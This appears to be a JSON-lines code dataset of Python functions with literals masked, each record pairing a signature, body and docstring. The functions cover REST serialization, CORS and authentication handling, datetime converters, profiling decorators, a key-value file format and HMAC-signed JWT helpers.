{"signature": "@utils.boundmethod<EOL><INDENT>def deserialize(self, request=None, text=None, format=None):<DEDENT>", "body": "if isinstance(self, Resource):<EOL><INDENT>if not request:<EOL><INDENT>request = self._request<EOL><DEDENT><DEDENT>Deserializer = None<EOL>if format:<EOL><INDENT>Deserializer = self.meta.deserializers[format]<EOL><DEDENT>if not Deserializer:<EOL><INDENT>media_ranges = request.get('<STR_LIT:Content-Type>')<EOL>if media_ranges:<EOL><INDENT>media_types = six.iterkeys(self._deserializer_map)<EOL>media_type = mimeparse.best_match(media_types, media_ranges)<EOL>if media_type:<EOL><INDENT>format = self._deserializer_map[media_type]<EOL>Deserializer = self.meta.deserializers[format]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if Deserializer:<EOL><INDENT>try:<EOL><INDENT>deserializer = Deserializer()<EOL>data = deserializer.deserialize(request=request, text=text)<EOL>return data, deserializer<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise http.exceptions.UnsupportedMediaType()<EOL>", "docstring": "Deserializes the text using a determined deserializer.\n\n        @param[in] request\n            The request object to pull information from; normally used to\n            determine the deserialization format (when `format` is\n            not provided).\n\n        @param[in] text\n            The text to be deserialized. Can be left blank and the\n            request will be read.\n\n        @param[in] format\n            A specific format to deserialize in; if provided, no detection is\n            done. If not provided, the content-type header is looked at to\n            determine an appropriate deserializer.\n\n        @returns\n            A tuple of the deserialized data and an instance of the\n            deserializer used.", "id": "f10185:c0:m6"}
{"signature": "@utils.boundmethod<EOL><INDENT>def serialize(self, data, response=None, request=None, format=None):<DEDENT>", "body": "if isinstance(self, Resource):<EOL><INDENT>if not request:<EOL><INDENT>request = self._request<EOL><DEDENT><DEDENT>Serializer = None<EOL>if format:<EOL><INDENT>Serializer = self.meta.serializers[format]<EOL><DEDENT>if not Serializer:<EOL><INDENT>media_ranges = (request.get('<STR_LIT>') or '<STR_LIT>').strip()<EOL>if not media_ranges:<EOL><INDENT>media_ranges = '<STR_LIT>'<EOL><DEDENT>if media_ranges != '<STR_LIT>':<EOL><INDENT>media_types = six.iterkeys(self._serializer_map)<EOL>media_type = mimeparse.best_match(media_types, media_ranges)<EOL>if media_type:<EOL><INDENT>format = self._serializer_map[media_type]<EOL>Serializer = self.meta.serializers[format]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>default = self.meta.default_serializer<EOL>Serializer = self.meta.serializers[default]<EOL><DEDENT><DEDENT>if Serializer:<EOL><INDENT>try:<EOL><INDENT>serializer = Serializer(request, response)<EOL>return serializer.serialize(data), serializer<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>available = {}<EOL>for name in self.meta.allowed_serializers:<EOL><INDENT>Serializer = self.meta.serializers[name]<EOL>instance = Serializer(request, None)<EOL>if instance.can_serialize(data):<EOL><INDENT>available[name] = Serializer.media_types[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>raise http.exceptions.NotAcceptable(available)<EOL>", "docstring": "Serializes the data using a determined serializer.\n\n        @param[in] data\n            The data to be serialized.\n\n        @param[in] response\n            The response object to serialize the data to.\n            If this method is invoked as an instance method, the response\n            object can be omitted and it will be taken from the instance.\n\n        @param[in] request\n            The request object to pull information from; normally used to\n            determine the serialization format (when `format` is not provided).\n            May be used by some serializers as well to pull additional headers.\n            If this method is invoked as an instance method, the request\n            object can be omitted and it will be taken from the instance.\n\n        @param[in] format\n            A specific format to serialize in; if provided, no detection is\n            done. If not provided, the accept header (as well as the URL\n            extension) is looked at to determine an appropriate serializer.\n\n        @returns\n            A tuple of the serialized text and an instance of the\n            serializer used.", "id": "f10185:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def _process_cross_domain_request(cls, request, response):<DEDENT>", "body": "<EOL>origin = request.get('<STR_LIT>')<EOL>if not origin:<EOL><INDENT>return<EOL><DEDENT>if not (origin in cls.meta.http_allowed_origins or<EOL>'<STR_LIT:*>' == cls.meta.http_allowed_origins):<EOL><INDENT>return<EOL><DEDENT>method = request.get('<STR_LIT>')<EOL>if method and method not in cls.meta.http_allowed_methods:<EOL><INDENT>return<EOL><DEDENT>headers = request.get('<STR_LIT>', ())<EOL>if headers:<EOL><INDENT>headers = [h.strip() for h in headers.split('<STR_LIT:U+002C>')]<EOL><DEDENT>allowed_headers = [h.lower() for h in cls.meta.http_allowed_headers]<EOL>if any(h.lower() not in allowed_headers for h in headers):<EOL><INDENT>return<EOL><DEDENT>response['<STR_LIT>'] = origin<EOL>response['<STR_LIT>'] = '<STR_LIT:true>'<EOL>allowed_methods = '<STR_LIT:U+002CU+0020>'.join(cls.meta.http_allowed_methods)<EOL>response['<STR_LIT>'] = allowed_methods<EOL>allowed_headers = '<STR_LIT:U+002CU+0020>'.join(cls.meta.http_allowed_headers)<EOL>if allowed_headers:<EOL><INDENT>response['<STR_LIT>'] = allowed_headers<EOL><DEDENT>exposed_headers = '<STR_LIT:U+002CU+0020>'.join(cls.meta.http_exposed_headers)<EOL>if exposed_headers:<EOL><INDENT>response['<STR_LIT>'] = exposed_headers<EOL><DEDENT>", "docstring": "Facilitate Cross-Origin Requests (CORs).", "id": "f10185:c0:m8"}
{"signature": "def dispatch(self, request, response):", "body": "<EOL>self.require_authentication(request)<EOL>self.require_accessibility(request.user, request.method)<EOL>self._process_cross_domain_request(request, response)<EOL>return self.route(request, response)<EOL>", "docstring": "Entry-point of the dispatch cycle for this resource.\n\n        Performs common work such as authentication, decoding, etc. before\n        handing complete control of the result to a function with the\n        same name as the request method.", "id": "f10185:c0:m10"}
{"signature": "def require_authentication(self, request):", "body": "request.user = user = None<EOL>if request.method == '<STR_LIT>':<EOL><INDENT>return<EOL><DEDENT>for auth in self.meta.authentication:<EOL><INDENT>user = auth.authenticate(request)<EOL>if user is False:<EOL><INDENT>continue<EOL><DEDENT>if user is None and not auth.allow_anonymous:<EOL><INDENT>auth.unauthenticated()<EOL><DEDENT>request.user = user<EOL>return<EOL><DEDENT>if not user and not auth.allow_anonymous:<EOL><INDENT>auth.unauthenticated()<EOL><DEDENT>", "docstring": "Ensure we are authenticated.", "id": "f10185:c0:m11"}
{"signature": "def require_accessibility(self, user, method):", "body": "if method == '<STR_LIT>':<EOL><INDENT>return<EOL><DEDENT>authz = self.meta.authorization<EOL>if not authz.is_accessible(user, method, self):<EOL><INDENT>authz.unaccessible()<EOL><DEDENT>", "docstring": "Ensure we are allowed to access this resource.", "id": "f10185:c0:m12"}
{"signature": "def require_http_allowed_method(cls, request):", "body": "allowed = cls.meta.http_allowed_methods<EOL>if request.method not in allowed:<EOL><INDENT>raise http.exceptions.MethodNotAllowed(allowed)<EOL><DEDENT>", "docstring": "Ensure that we're allowed to use this HTTP method.", "id": "f10185:c0:m13"}
{"signature": "def route(self, request, response):", "body": "<EOL>self.require_http_allowed_method(request)<EOL>function = getattr(self, request.method.lower(), None)<EOL>if function is None:<EOL><INDENT>raise http.exceptions.NotImplemented()<EOL><DEDENT>return function(request, response)<EOL>", "docstring": "Processes every request.\n\n        Directs control flow to the appropriate HTTP/1.1 method.", "id": "f10185:c0:m14"}
{"signature": "def options(self, request, response):", "body": "<EOL>response['<STR_LIT>'] = '<STR_LIT:U+002CU+0020>'.join(self.meta.http_allowed_methods)<EOL>response.status = http.client.OK<EOL>", "docstring": "Process an `OPTIONS` request.\n\n        Used to initiate a cross-origin request. All handling specific to\n        CORS requests is done on every request however this method also\n        returns a list of available methods.", "id": "f10185:c0:m15"}
{"signature": "def random_string(length):", "body": "str_list = [random.choice(string.digits + string.ascii_letters) for i in range(length)]<EOL>return '<STR_LIT>'.join(str_list)<EOL>", "docstring": "Generate random string with parameter length.\nExample:\n\n    >>> from eggit.egg_string import random_string\n    >>> random_string(8)\n    'q4f2eaT4'\n    >>>", "id": "f10194:m0"}
{"signature": "@staticmethod<EOL><INDENT>def datetime_str_to_timestamp(datetime_str):<DEDENT>", "body": "try:<EOL><INDENT>dtf = DTFormat()<EOL>struct_time = time.strptime(datetime_str, dtf.datetime_format)<EOL>return time.mktime(struct_time)<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "'2018-01-01 00:00:00' (str) --> 1514736000\n\n:param str datetime_str: datetime string\n:return: unix timestamp (int) or None\n:rtype: int or None", "id": "f10195:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_datetime_object(datetime_str):<DEDENT>", "body": "try:<EOL><INDENT>dft = DTFormat()<EOL>return datetime.strptime(datetime_str, dft.datetime_format)<EOL><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get datetime object from datetime string\n\nexample:\n    DateTimeUtils.get_datetime_object('2018-01-01 00:00:00')\n\n:param str string: datetime string\n:return: datetime object\n:rtype: datetime", "id": "f10195:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_datetime_string(datetime_obj):<DEDENT>", "body": "if isinstance(datetime_obj, datetime):<EOL><INDENT>dft = DTFormat()<EOL>return datetime_obj.strftime(dft.datetime_format)<EOL><DEDENT>return None<EOL>", "docstring": "Get datetime string from datetime object\n\n:param datetime datetime_obj: datetime object\n:return: datetime string\n:rtype: str", "id": "f10195:c1:m2"}
{"signature": "@staticmethod<EOL><INDENT>def now_str():<DEDENT>", "body": "dft = DTFormat()<EOL>return datetime.now().strftime(dft.datetime_format)<EOL>", "docstring": "Get now datetime str like '2018-01-01 00:00:00' (str)\n\n:return: datetime string\n:rtype: str", "id": "f10195:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def timestamp_to_datetime(timestamp):<DEDENT>", "body": "if isinstance(timestamp, (int, float, str)):<EOL><INDENT>try:<EOL><INDENT>timestamp = float(timestamp)<EOL>if timestamp.is_integer():<EOL><INDENT>timestamp = int(timestamp)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>return None<EOL><DEDENT>temp = str(timestamp).split('<STR_LIT:.>')[<NUM_LIT:0>]<EOL>if len(temp) == <NUM_LIT>:<EOL><INDENT>timestamp = timestamp / <NUM_LIT><EOL><DEDENT>if len(temp) < <NUM_LIT:10>:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>return datetime.fromtimestamp(timestamp)<EOL>", "docstring": "1514736000 --> datetime object\n\n:param int timestamp: unix timestamp (int)\n:return: datetime object or None\n:rtype: datetime or None", "id": "f10195:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def timestamp_to_datetime_str(timestamp):<DEDENT>", "body": "return DateTimeUtils.get_datetime_string(DateTimeUtils.timestamp_to_datetime(timestamp))<EOL>", "docstring": "1514736000 --> '2018-01-01 00:00:00' (str)\n\n:param int timestamp: unix timestamp\n:return: datetime str\n:rtype: str", "id": "f10195:c1:m5"}
{"signature": "@staticmethod<EOL><INDENT>def str_to_int(str_val):<DEDENT>", "body": "try:<EOL><INDENT>return int(str_val)<EOL><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Convert string to int::\n\n    >>> from eggit.converters import Converter\n    >>> result = Converter.str_to_int('123')\n    >>> print(result)\n    123\n    >>> result = Converter.str_to_int('abc')\n    >>> print(result)\n    None\n    >>> result = Converter.str_to_int('1.2')\n    >>> print(result)\n    None\n\n:param str str_val: the string value\n:return: the target integer value\n:rtype: int or None", "id": "f10196:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def str_to_bool(str_val):<DEDENT>", "body": "if (str_val.lower() == '<STR_LIT:true>'):<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Convert string to boolean::\n\n    >>> from eggit.converters import Converter\n    >>> Converter.str_to_bool('True')  # or true\n    True\n    >>> Converter.str_to_bool('False')  # or false\n    False\n    >>> Converter.str_to_bool('OtherString')\n    False\n\n:param str_val: the source string value\n:return: the target boolean value\n:rtype: bool", "id": "f10196:c0:m1"}
{"signature": "def __init__(self, current_page, total_page_count, items, total_item_count, page_size=<NUM_LIT:10>):", "body": "self.current_page = current_page<EOL>self.total_page_count = total_page_count<EOL>self.items = items<EOL>self.total_item_count = total_item_count<EOL>self.page_size = page_size<EOL>", "docstring": ":param int current_page: Current page number\n:param int total_page_count: Total page count\n:param object items: Paging data\n:param int total_item_count: Total item count\n:param int page_size: How many items per page", "id": "f10200:c0:m0"}
{"signature": "def get_dict(self):", "body": "return dict(<EOL>current_page=self.current_page,<EOL>total_page_count=self.total_page_count,<EOL>items=self.items,<EOL>total_item_count=self.total_item_count,<EOL>page_size=self.page_size<EOL>)<EOL>", "docstring": "Convert Paginator instance to dict\n\n:return: Paging data\n:rtype: dict", "id": "f10200:c0:m1"}
{"signature": "def format_cookies(path):", "body": "with open(path, '<STR_LIT:r>') as f:<EOL><INDENT>_cookies = {}<EOL>for row in f.read().split('<STR_LIT:;>'):<EOL><INDENT>k, v = row.strip().split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>_cookies[k] = v<EOL><DEDENT>return _cookies<EOL><DEDENT>", "docstring": "\u5c06 cookie \u5b57\u7b26\u4e32\u8f6c\u5316\u4e3a\u5b57\u5178\n\n:param path: cookies \u6587\u4ef6\u8def\u5f84\n:return: cookies \u5b57\u5178", "id": "f10204:m0"}
{"signature": "def delete_empty_dir(directory):", "body": "if os.path.exists(directory):<EOL><INDENT>if os.path.isdir(directory):<EOL><INDENT>for d in os.listdir(directory):<EOL><INDENT>path = os.path.join(directory, d)<EOL>if os.path.isdir(path):<EOL><INDENT>delete_empty_dir(path)<EOL><DEDENT><DEDENT><DEDENT>if not os.listdir(directory):<EOL><INDENT>os.rmdir(directory)<EOL>print(\"<STR_LIT>\" + directory)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "\u5220\u9664\u7a7a\u76ee\u5f55\n\n:param directory: \u76ee\u5f55\u8def\u5f84", "id": "f10204:m1"}
{"signature": "def _print(stats, limit, label):", "body": "print(\"<STR_LIT>\".format(label))<EOL>for index, stat in enumerate(stats):<EOL><INDENT>if index < limit:<EOL><INDENT>print(stat)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "\u63a7\u5236\u8f93\u51fa\u91cf", "id": "f10205:m0"}
{"signature": "def memoryit(group_by='<STR_LIT>', limit=<NUM_LIT:10>):", "body": "def wrapper(func):<EOL><INDENT>@wraps(func)<EOL>def inner(*args, **kwargs):<EOL><INDENT>tracemalloc.start()<EOL>_start = tracemalloc.take_snapshot()<EOL>_result = func(*args, **kwargs)<EOL>_end = tracemalloc.take_snapshot()<EOL>stats = _end.compare_to(_start, group_by)<EOL>_print(stats, limit, func.__name__ + '<STR_LIT>')<EOL>return _result<EOL><DEDENT>return inner<EOL><DEDENT>return wrapper<EOL>", "docstring": "\u8ffd\u8e2a\u51fd\u6570\u5185\u5b58\u6d88\u8017\u60c5\u51b5\n\n:param group_by: \u7edf\u8ba1\u5206\u7ec4\uff0c\u6709 'filename', 'lineno', 'traceback' \u53ef\u9009\n:param limit: \u9650\u5236\u8f93\u51fa\u884c\u6570", "id": "f10205:m1"}
{"signature": "@contextmanager<EOL>def memoryit_block(group_by='<STR_LIT>', limit=<NUM_LIT:10>, label='<STR_LIT>'):", "body": "tracemalloc.start()<EOL>_start = tracemalloc.take_snapshot()<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>_end = tracemalloc.take_snapshot()<EOL>stats = _end.compare_to(_start, group_by)<EOL>_print(stats, limit, label)<EOL><DEDENT>", "docstring": "\u8ffd\u8e2a\u4ee3\u7801\u5757\u5185\u5b58\u6d88\u8017\u60c5\u51b5\n\n:param group_by: \u7edf\u8ba1\u5206\u7ec4\uff0c\u6709 'filename', 'lineno', 'traceback' \u53ef\u9009\n:param limit: \u9650\u5236\u8f93\u51fa\u884c\u6570\n:param label: \u4ee3\u7801\u5757\u6807\u7b7e", "id": "f10205:m2"}
{"signature": "def _green(string):", "body": "return '<STR_LIT>'.format(string)<EOL>", "docstring": "\u5c06\u5b57\u4f53\u8f6c\u53d8\u4e3a\u7eff\u8272", "id": "f10206:m0"}
{"signature": "@contextmanager<EOL>def timeit_block(unit='<STR_LIT:s>', label=\"<STR_LIT>\"):", "body": "start = time.time()<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>_format(unit, time.time() - start, label)<EOL><DEDENT>", "docstring": "\u6d4b\u8bd5\u4ee3\u7801\u5757\u8017\u65f6\n\n:param unit: \u65f6\u95f4\u5355\u4f4d\uff0c\u6709 's','m','h' \u53ef\u9009\uff08seconds\uff0cminutes\uff0chours\uff09\n:param label: \u4ee3\u7801\u5757\u6807\u7b7e", "id": "f10206:m2"}
{"signature": "def timeit(unit='<STR_LIT:s>'):", "body": "def wrapper(func):<EOL><INDENT>@wraps(func)<EOL>def inner(*args, **kwargs):<EOL><INDENT>start = time.time()<EOL>_result = func(*args, **kwargs)<EOL>_format(unit, time.time() - start, func.__name__ + '<STR_LIT>')<EOL>return _result<EOL><DEDENT>return inner<EOL><DEDENT>return wrapper<EOL>", "docstring": "\u6d4b\u8bd5\u51fd\u6570\u8017\u65f6\n\n:param unit: \u65f6\u95f4\u5355\u4f4d\uff0c\u6709 's','m','h' \u53ef\u9009\uff08seconds\uff0cminutes\uff0chours\uff09", "id": "f10206:m3"}
{"signature": "def profileit(field='<STR_LIT>'):", "body": "def wrapper(func):<EOL><INDENT>@wraps(func)<EOL>def inner(*args, **kwargs):<EOL><INDENT>pro = Profile()<EOL>pro.runcall(func, *args, **kwargs)<EOL>stats = Stats(pro)<EOL>stats.strip_dirs()<EOL>stats.sort_stats(field)<EOL>print(\"<STR_LIT>\".format(func.__name__))<EOL>stats.print_stats()<EOL>stats.print_callers()<EOL><DEDENT>return inner<EOL><DEDENT>return wrapper<EOL>", "docstring": "\u6d4b\u8bd5\u51fd\u6570\u8fd0\u884c\u6d88\u8017\u60c5\u51b5\n\n:param field: \u8f93\u51fa\u5185\u5bb9\u6392\u5e8f\u65b9\u5f0f\u3002\n    \u53ef\u9009\u53c2\u6570\u4e3a \"stdname\", \"calls\", \"time\", \"cumulative\"", "id": "f10207:m0"}
{"signature": "def dump(obj, fp, startindex=<NUM_LIT:1>, separator=DEFAULT, index_separator=DEFAULT):", "body": "if startindex < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(startindex))<EOL><DEDENT>try:<EOL><INDENT>firstkey = next(iter(obj.keys()))<EOL><DEDENT>except StopIteration:<EOL><INDENT>return<EOL><DEDENT>if isinstance(firstkey, six.text_type):<EOL><INDENT>converter = six.u<EOL><DEDENT>else:<EOL><INDENT>converter = six.b<EOL><DEDENT>default_separator = converter('<STR_LIT:|>')<EOL>default_index_separator = converter('<STR_LIT:_>')<EOL>newline = converter('<STR_LIT:\\n>')<EOL>if separator is DEFAULT:<EOL><INDENT>separator = default_separator<EOL><DEDENT>if index_separator is DEFAULT:<EOL><INDENT>index_separator = default_index_separator<EOL><DEDENT>for key, value in six.iteritems(obj):<EOL><INDENT>if isinstance(value, (list, tuple, set)):<EOL><INDENT>for index, item in enumerate(value, start=startindex):<EOL><INDENT>fp.write(key)<EOL>fp.write(index_separator)<EOL>fp.write(converter(str(index)))<EOL>fp.write(separator)<EOL>fp.write(item)<EOL>fp.write(newline)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>fp.write(key)<EOL>fp.write(separator)<EOL>fp.write(value)<EOL>fp.write(newline)<EOL><DEDENT><DEDENT>", "docstring": "Dump an object in req format to the fp given.\n\n    :param Mapping obj: The object to serialize.  Must have a keys method.\n    :param fp: A writable that can accept all the types given.\n    :param separator: The separator between key and value.  Defaults to u'|' or b'|', depending on the types.\n    :param index_separator: The separator between key and index.  Defaults to u'_' or b'_', depending on the types.", "id": "f10211:m0"}
{"signature": "def dumps(obj, startindex=<NUM_LIT:1>, separator=DEFAULT, index_separator=DEFAULT):", "body": "try:<EOL><INDENT>firstkey = next(iter(obj.keys()))<EOL><DEDENT>except StopIteration:<EOL><INDENT>return str()<EOL><DEDENT>if isinstance(firstkey, six.text_type):<EOL><INDENT>io = StringIO()<EOL><DEDENT>else:<EOL><INDENT>io = BytesIO()<EOL><DEDENT>dump(<EOL>obj=obj,<EOL>fp=io,<EOL>startindex=startindex,<EOL>separator=separator,<EOL>index_separator=index_separator,<EOL>)<EOL>return io.getvalue()<EOL>", "docstring": "Dump an object in req format to a string.\n\n    :param Mapping obj: The object to serialize.  Must have a keys method.\n    :param separator: The separator between key and value.  Defaults to u'|' or b'|', depending on the types.\n    :param index_separator: The separator between key and index.  Defaults to u'_' or b'_', depending on the types.", "id": "f10211:m1"}
{"signature": "def load(fp, separator=DEFAULT, index_separator=DEFAULT, cls=dict, list_cls=list):", "body": "converter = None<EOL>output = cls()<EOL>arraykeys = set()<EOL>for line in fp:<EOL><INDENT>if converter is None:<EOL><INDENT>if isinstance(line, six.text_type):<EOL><INDENT>converter = six.u<EOL><DEDENT>else:<EOL><INDENT>converter = six.b<EOL><DEDENT>default_separator = converter('<STR_LIT:|>')<EOL>default_index_separator = converter('<STR_LIT:_>')<EOL>newline = converter('<STR_LIT:\\n>')<EOL>if separator is DEFAULT:<EOL><INDENT>separator = default_separator<EOL><DEDENT>if index_separator is DEFAULT:<EOL><INDENT>index_separator = default_index_separator<EOL><DEDENT><DEDENT>key, value = line.strip().split(separator, <NUM_LIT:1>)<EOL>keyparts = key.split(index_separator)<EOL>try:<EOL><INDENT>index = int(keyparts[-<NUM_LIT:1>])<EOL>endwithint = True<EOL><DEDENT>except ValueError:<EOL><INDENT>endwithint = False<EOL><DEDENT>if len(keyparts) > <NUM_LIT:1> and endwithint:<EOL><INDENT>basekey = key.rsplit(index_separator, <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>if basekey not in arraykeys:<EOL><INDENT>arraykeys.add(basekey)<EOL><DEDENT>if basekey in output:<EOL><INDENT>if not isinstance(output[basekey], dict):<EOL><INDENT>output[basekey] = {-<NUM_LIT:1>: output[basekey]}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>output[basekey] = {}<EOL><DEDENT>output[basekey][index] = value<EOL><DEDENT>else:<EOL><INDENT>if key in output and isinstance(output[key], dict):<EOL><INDENT>output[key][-<NUM_LIT:1>] = value<EOL><DEDENT>else:<EOL><INDENT>output[key] = value<EOL><DEDENT><DEDENT><DEDENT>for key in arraykeys:<EOL><INDENT>output[key] = list_cls(pair[<NUM_LIT:1>] for pair in sorted(six.iteritems(output[key])))<EOL><DEDENT>return output<EOL>", "docstring": "Load an object from the file pointer.\n\n    :param fp: A readable filehandle.\n    :param separator: The separator between key and value.  Defaults to u'|' or b'|', depending on the types.\n    :param index_separator: The separator between key and index.  Defaults to u'_' or b'_', depending on the types.\n    :param cls: A callable that returns a Mapping that is filled with pairs.  The most common alternate option would be OrderedDict.\n    :param list_cls: A callable that takes an iterable and returns a sequence.", "id": "f10211:m2"}
{"signature": "def loads(s, separator=DEFAULT, index_separator=DEFAULT, cls=dict, list_cls=list):", "body": "if isinstance(s, six.text_type):<EOL><INDENT>io = StringIO(s)<EOL><DEDENT>else:<EOL><INDENT>io = BytesIO(s)<EOL><DEDENT>return load(<EOL>fp=io,<EOL>separator=separator,<EOL>index_separator=index_separator,<EOL>cls=cls,<EOL>list_cls=list_cls,<EOL>)<EOL>", "docstring": "Loads an object from a string.\n\n    :param s: An object to parse\n    :type s: bytes or str\n    :param separator: The separator between key and value.  Defaults to u'|' or b'|', depending on the types.\n    :param index_separator: The separator between key and index.  Defaults to u'_' or b'_', depending on the types.\n    :param cls: A callable that returns a Mapping that is filled with pairs.  The most common alternate option would be OrderedDict.\n    :param list_cls: A callable that takes an iterable and returns a sequence.", "id": "f10211:m3"}
{"signature": "def b64_encode(data: bytes) -> bytes:", "body": "encoded = urlsafe_b64encode(data)<EOL>return encoded.replace(b'<STR_LIT:=>', b'<STR_LIT>')<EOL>", "docstring": ":param data: Data the encode.\n:type data: bytes\n:return: Base 64 encoded data with padding removed.\n:rtype: bytes", "id": "f10213:m0"}
{"signature": "def b64_decode(data: bytes) -> bytes:", "body": "missing_padding = len(data) % <NUM_LIT:4><EOL>if missing_padding != <NUM_LIT:0>:<EOL><INDENT>data += b'<STR_LIT:=>' * (<NUM_LIT:4> - missing_padding)<EOL><DEDENT>return urlsafe_b64decode(data)<EOL>", "docstring": ":param data: Base 64 encoded data to decode.\n:type data: bytes\n:return: Base 64 decoded data.\n:rtype: bytes", "id": "f10213:m1"}
{"signature": "def to_bytes(data: Union[str, bytes]) -> bytes:", "body": "if isinstance(data, bytes):<EOL><INDENT>return data<EOL><DEDENT>return data.encode('<STR_LIT:utf-8>')<EOL>", "docstring": ":param data: Data to convert to bytes.\n:type data: Union[str, bytes]\n:return: `data` encoded to UTF8.\n:rtype: bytes", "id": "f10213:m2"}
{"signature": "def from_bytes(data: Union[str, bytes]) -> str:", "body": "if isinstance(data, str):<EOL><INDENT>return data<EOL><DEDENT>return str(data, '<STR_LIT:utf-8>')<EOL>", "docstring": ":param data: A UTF8 byte string.\n:type data: Union[str, bytes]\n:return: `data` decoded from UTF8.\n:rtype: str", "id": "f10213:m3"}
{"signature": "def join(*args: bytes) -> bytes:", "body": "return b'<STR_LIT:.>'.join(args)<EOL>", "docstring": "Join any amount of byte strings with a `.`.\n:param args: Any amount of byte strings.\n:type args: bytes\n:return: All provided bytes concatenated with `.`.\n:rtype: bytes", "id": "f10213:m4"}
{"signature": "def get_algorithm(alg: str) -> Callable:", "body": "if alg not in algorithms:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(alg))<EOL><DEDENT>return algorithms[alg]<EOL>", "docstring": ":param alg: The name of the requested `JSON Web Algorithm <https://tools.ietf.org/html/rfc7519#ref-JWA>`_. `RFC7518 <https://tools.ietf.org/html/rfc7518#section-3.2>`_ is related.\n:type alg: str\n:return: The requested algorithm.\n:rtype: Callable\n:raises: ValueError", "id": "f10214:m0"}
{"signature": "def _hash(secret: bytes, data: bytes, alg: str) -> bytes:", "body": "algorithm = get_algorithm(alg)<EOL>return hmac.new(secret, msg=data, digestmod=algorithm).digest()<EOL>", "docstring": "Create a new HMAC hash.\n\n:param secret: The secret used when hashing data.\n:type secret: bytes\n:param data: The data to hash.\n:type data: bytes\n:param alg: The algorithm to use when hashing `data`.\n:type alg: str\n:return: New HMAC hash.\n:rtype: bytes", "id": "f10214:m1"}
{"signature": "def encode(secret: Union[str, bytes], payload: dict = None,<EOL>alg: str = default_alg, header: dict = None) -> str:", "body": "secret = util.to_bytes(secret)<EOL>payload = payload or {}<EOL>header = header or {}<EOL>header_json = util.to_bytes(json.dumps(header))<EOL>header_b64 = util.b64_encode(header_json)<EOL>payload_json = util.to_bytes(json.dumps(payload))<EOL>payload_b64 = util.b64_encode(payload_json)<EOL>pre_signature = util.join(header_b64, payload_b64)<EOL>signature = _hash(secret, pre_signature, alg)<EOL>signature_b64 = util.b64_encode(signature)<EOL>token = util.join(pre_signature, signature_b64)<EOL>return util.from_bytes(token)<EOL>", "docstring": ":param secret: The secret used to encode the token.\n:type secret: Union[str, bytes]\n:param payload: The payload to be encoded in the token.\n:type payload: dict\n:param alg: The algorithm used to hash the token.\n:type alg: str\n:param header: The header to be encoded in the token.\n:type header: dict\n:return: A new token\n:rtype: str", "id": "f10214:m2"}
{"signature": "def decode(secret: Union[str, bytes], token: Union[str, bytes],<EOL>alg: str = default_alg) -> Tuple[dict, dict]:", "body": "secret = util.to_bytes(secret)<EOL>token = util.to_bytes(token)<EOL>pre_signature, signature_segment = token.rsplit(b'<STR_LIT:.>', <NUM_LIT:1>)<EOL>header_b64, payload_b64 = pre_signature.split(b'<STR_LIT:.>')<EOL>try:<EOL><INDENT>header_json = util.b64_decode(header_b64)<EOL>header = json.loads(util.from_bytes(header_json))<EOL><DEDENT>except (json.decoder.JSONDecodeError, UnicodeDecodeError, ValueError):<EOL><INDENT>raise InvalidHeaderError('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>payload_json = util.b64_decode(payload_b64)<EOL>payload = json.loads(util.from_bytes(payload_json))<EOL><DEDENT>except (json.decoder.JSONDecodeError, UnicodeDecodeError, ValueError):<EOL><INDENT>raise InvalidPayloadError('<STR_LIT>')<EOL><DEDENT>if not isinstance(header, dict):<EOL><INDENT>raise InvalidHeaderError('<STR_LIT>'.format(header))<EOL><DEDENT>if not isinstance(payload, dict):<EOL><INDENT>raise InvalidPayloadError('<STR_LIT>'.format(payload))<EOL><DEDENT>signature = util.b64_decode(signature_segment)<EOL>calculated_signature = _hash(secret, pre_signature, alg)<EOL>if not compare_signature(signature, calculated_signature):<EOL><INDENT>raise InvalidSignatureError('<STR_LIT>')<EOL><DEDENT>return header, payload<EOL>", "docstring": "Decodes the given token's header and payload and validates the signature.\n\n:param secret: The secret used to decode the token. Must match the\n    secret used when creating the token.\n:type secret: Union[str, bytes]\n:param token: The token to decode.\n:type token: Union[str, bytes]\n:param alg: The algorithm used to decode the token. Must match the\n    algorithm used when creating the token.\n:type alg: str\n:return: The decoded header and payload.\n:rtype: Tuple[dict, dict]", "id": "f10214:m3"}
{"signature": "def compare_signature(expected: Union[str, bytes],<EOL>actual: Union[str, bytes]) -> bool:", "body": "expected = util.to_bytes(expected)<EOL>actual = util.to_bytes(actual)<EOL>return hmac.compare_digest(expected, actual)<EOL>", "docstring": "Compares the given signatures.\n\n:param expected: The expected signature.\n:type expected: Union[str, bytes]\n:param actual: The actual signature.\n:type actual: Union[str, bytes]\n:return: Do the signatures match?\n:rtype: bool", "id": "f10214:m4"}
